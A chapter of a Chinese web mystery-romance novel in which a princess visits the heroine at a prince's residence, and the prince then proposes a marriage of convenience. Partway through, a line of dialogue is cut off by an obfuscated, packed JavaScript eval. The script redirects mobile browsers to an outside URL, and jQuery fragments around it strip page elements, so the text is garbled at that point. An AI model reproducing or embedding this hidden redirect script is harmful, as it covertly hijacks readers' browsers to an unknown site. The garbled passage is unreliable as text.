59. 婴儿哭8

作品:《华京迷案录(探案)

    陆亦宁自小锦衣玉食,是先皇和当今太后最宠爱的小女儿。她的性子像太皇太后,为人直爽不拘小节,不喜为难下人,宫内宫外很是有些宽厚的好名声。


    谢汐楼有些奇怪,陆回府中下人为何是这般反应?仿佛她是什么洪水猛兽。


    陆亦宁似乎也不知道原因。她眨眨眼睛,松开抓住谢汐楼的手,皱眉道:“晒不得就晒不得,说一句就是,本宫又不是什么不讲理的人。你们这么跪了一排,万一把小美人儿吓跑,皇叔知道了找本宫麻烦可怎么办?”


    下人们额头触地,不敢抬头。


    陆亦宁不再纠结这些小事,拉着谢汐楼向屋内走:“不管他们了,咱们进屋。”


    谢汐楼暂住的院子在琰王府后院最偏僻的角落,院子不算大,胜在幽静离侧门近,从早到晚见不到什么太阳。屋内摆设简单,一桌一椅瞧着普通,却都是黄花梨木,就连床幔亦是浮光锦,流光溢彩,低调奢华。


    陆亦宁打量四周,眼神意味深长:“这浮光锦是贡品,连本宫都只得了一匹,皇叔竟如此大方,拿给你做床幔,真是有心了。”


    谢汐楼嘴角抽搐,断然不信陆回有这么好心,面上却只能含笑不语。


    随陆亦宁来的婢女鱼贯而入,将带来的礼物堆放在桌上。


    陆亦宁指着那几个盒子笑道:“本宫曾向皇叔打听过你喜欢什么,他说你身子不好,最喜欢啃人参,其次喜欢睡在银票上。皇祖母和本宫虽然觉得他在诓骗我们,但想着万一你真喜欢这些呢?这两根百年人参是皇祖母赐给你的。至于银票——”她眨了眨眼睛,眉眼间添了几分俏皮,“皇叔可比我们有钱多了,你去问他要。”


    “殿下客气了。”谢汐楼接过装在白玉匣子中的百年老参,笑容发自内心,“这可真是好东西,我正好需要。”


    她将匣子抱在怀中,又去翻看其他几个箱子,打开后全是些珠宝首饰:“这是……”


    “一些小玩意儿,你拿着打发时间。”陆亦宁不以为意地挥挥手,显然有更感兴趣的事,“你和皇叔,是怎么认识的?听说你出身梧州谢家,如何会与皇叔结缘?”


    这要她怎么回答?她未曾与陆回对过此事的口供,万一说的与他不同,岂不是露馅?


    她迟疑道:“两年前我离开梧州游历,偶然结识琰王殿下……一见生情。”


    最后四个字声音轻浅,含在唇齿间,像是蚊虫的嗡鸣。谢汐楼耳垂发烫,莫名生出几分羞赧。


    陆亦宁完全没注意到她情绪的异样,微微前倾身子,对她说的话很感兴趣:“你的家人竟然允许你独自离开梧州游历?”


    “我自小不受宠,被养在庄子里,没人看管。或许他们至今未发现,我消失不见了。”


    陆亦宁露出艳羡的神色:“可以随意追逐天地广阔……我什么时候才能过上这种似神仙的日子?”她想起了离开很久的人,眸色悠悠,“我曾与一个友人离开皇宫游历一年,无人看管,无拘无束,可真是太妙了。”


    谢汐楼默然。


    那哪算游历?身后跟着十几个人,负责保护她们的安全,为她们安排衣食住行。与其说是游历,不如说是游玩。


    “殿下说的朋友,可是明德皇后?”


    温平公主与明德皇后交好,天下皆知,陆亦宁闻言并不奇怪,情绪落寞:“是啊,她也走了两年多了……”


    谢汐楼望着昔日好友,心情很是复杂。


    两年不见,陆亦宁似乎变了又似乎没变,她的双眸不再似从前那般透亮,一眼可以望到头,但言语间还是带着几分天真烂漫。


    明德皇后死于非命,她是否知晓?


    她是否还能再信任如今的她?


    院中问安声响成一片,将谢汐楼从往事中拽出,她抬眼向门外看,陆回踩着朝阳向她走来。


    今日休沐,他未出门,衣袍松散,衣袂随动作摆动。阳光在他身上镀了一层薄薄的金边,远远瞧着真有几分天人之姿。


    他走到谢汐楼身边,自然而然将她的手抱在掌心:“怎么这般凉?”


    论做戏谁能比得过琰王殿下?她的手四季都如同冰块一般,他又不是不知道。


    谢汐楼挤出一个假惺惺的笑:“许是刚刚站在门口吹了会儿风的缘故。”


    “下次多披一件衣服。”


    谢汐楼嘴角抽搐,轻轻“嗯”了一声。


    陆亦宁看不过去,清了清嗓子:“这还有个活人呢,稍微顾及下我的存在行不行?”


    陆回抬抬眼皮:“今日来府上何事?”


    陆亦宁翻了个白眼:“你当我愿意来?要不是为了帮皇祖母传话,我才不来你这破地方。”她整了整衣服,坐得板正,一板一眼模仿着太皇太后的姿势,“告诉小六,尽快带人进宫。”


    “知道了。”陆回答。


    陆亦宁不敢置信:“就三个字?”


    陆回的脸上依旧没什么表情:“这三个字就足够了。”


    陆亦宁被他气得要命,站起身准备便准备离开,走到门口时折返回来:“被你气得差点忘了正事。”她将站在门口的婢女手中的食盒接过,搁到一旁的桌子上,掀开盖子,对谢汐楼道,“刚刚给你看的那些物件都是寻常之物,没什么稀奇。我今日还带了一个全华京女子都梦寐以求的东西来,想来你一定会喜欢。”


    食盒里放着一碗汤药,黑黢黢的,味道怪异。


    陆亦宁不卖关子,认真解释:“此物名为回春汤,每六个月服用一次,可保青春永驻。这汤药很是稀少,济世堂一个月只卖几碗碗,这一碗可是我好不容易抢到的,你一定要喝。”


    谢汐楼看着那碗可怖的汤药,咽了下口水,想要拒绝又不知如何开口。正准备一咬牙一闭眼一口气干了,陆回按压住她的手腕,阻止了她的动作。


    陆回笑意嘲讽:“青春永驻?”


    陆亦宁急了:“我最开始确实是不信的,但喝了一碗后,确实皮肤细嫩不少。你若不信,赶明儿我再弄一碗给你喝,让你也试试这汤药的神奇!”


    眼看二人要吵起来,谢汐楼急忙开口:“世间哪个女子不想青春永驻呢?只是我身子不好,一直在服药,若那药与这汤药相冲,得不偿失……不若这样,这药先留在此处,等明日寻个大夫来瞧瞧,若无问题,我定一滴不剩的喝掉,断不辜负公主殿下的一片心意。”


    这话说得好听,陆亦宁神色缓和了几分:“也行。若这汤药有效,回头你告诉我,六个月后我再去济世堂给你抢一副。”


    “那就多谢殿下啦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957193|159869||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    陆亦宁完成太后的任务,冷哼一声,不再多留,启程回宫。


    待她走出院子,下人们明显松了口气,谢汐楼有些好奇:“府中下人为何这般怕她?”


    陆回似乎在想什么事,回答得心不在焉:“两年前明德皇后葬身火海,大理寺封存案卷,对外宣称是意外。亦宁不满这个结论,来我府中大闹一场,打伤不少人。”


    “原来是这样。”


    怪不得下人们看到陆亦宁就瑟瑟发抖,怪不得曾经最喜欢缠着陆回的陆亦宁,如今恨不能与他拔刀相向。


    竟然是因为她。


    谢汐楼思绪百转千回,没注意到陆回的目光一直锁在她的身上。陆回盯着她看了半晌,认命般地开口:“谢汐楼,我有事要同你商议。”


    他的目光极为认真,倒让谢汐楼有些无所适从,不知不觉同样严肃认真起来。


    “但凡我能帮的,一定尽力。”


    陆回微微摇头:“你先听我说完,再做决断。三个月前,良国上书奏请和亲,圣上登基两年,后位空悬,良国想要将他们的长公主嫁到我朝为后,永结秦晋之好。”


    谢汐楼乐了:“良国这些年大不如前,他们的公主如何能为大琼的皇后?”


    “陛下不欲开罪良国,便想了个折中的法子,让我朝亲王迎娶良国长公主为王妃。”


    大琼未结亲的亲王共有三人,除了陆回外,还有陆既安的兄弟两人。


    谢汐楼没说话,预料到陆回将要说什么。


    陆回轻笑:“我这个好侄子,将心思打到我的头上,却一直犹豫着不肯落子。不想开罪良国,又不想让他人得到良国的支持……这事搁置了几个月,没想到如今又要重提。”


    谢汐楼心中莫名忐忑,试探问道:“你不想娶公主?”


    陆回直视着她的眼睛,没有丝毫回避:“是。我向来不喜权利斗争,若娶了这个公主,怕是此生永无宁日。几个月前我与母后商议过这件事,最好的解法便是在陛下降旨前,母后先一步赐婚于我。如此,主动权捏在我的手中,日后无论和离还是其他,都可按照我的意思来。”他顿了顿,一字一顿,“益州之事传到华京后,母后以为你就是我找的人,一直催促我带你入宫,当面赐婚,以防生出什么变故。虽然这与实际情况有些出入,但有一点没错,目前我身边最好的结亲人选,便是你。”


    谢汐楼的血液向头颅奔涌,耳垂鲜艳欲滴,心在瞬间停滞,旋即疯狂加速,快要跳出胸腔。她紧紧捏着衣袖,指节泛白,脑子一片空白又无限杂乱。


    陆回继续道:“你我的婚姻只是权宜之计,日后你若有了心爱之人,或是想要离开华京游历,我定不会阻拦。”


    “为何是我?”她轻声道,试图用平缓的声音掩饰紧张的情绪。


    陆回的声音平缓,却不敢再看谢汐楼的眼:“你我之事在华京广为流传,若我奏请母后赐婚,也算合理。”


    “合理?我是商贾人家的庶女,你是当朝王爷,我如何嫁给你做正妃,和邻国长公主抢人?”


    她竟然在担心这个。


    陆回松了一口气,眉眼间有细碎笑意,如冬雪春融:“若迎娶高门贵女,我那个好侄子岂不是要夜不能寐?你是最好的人选。”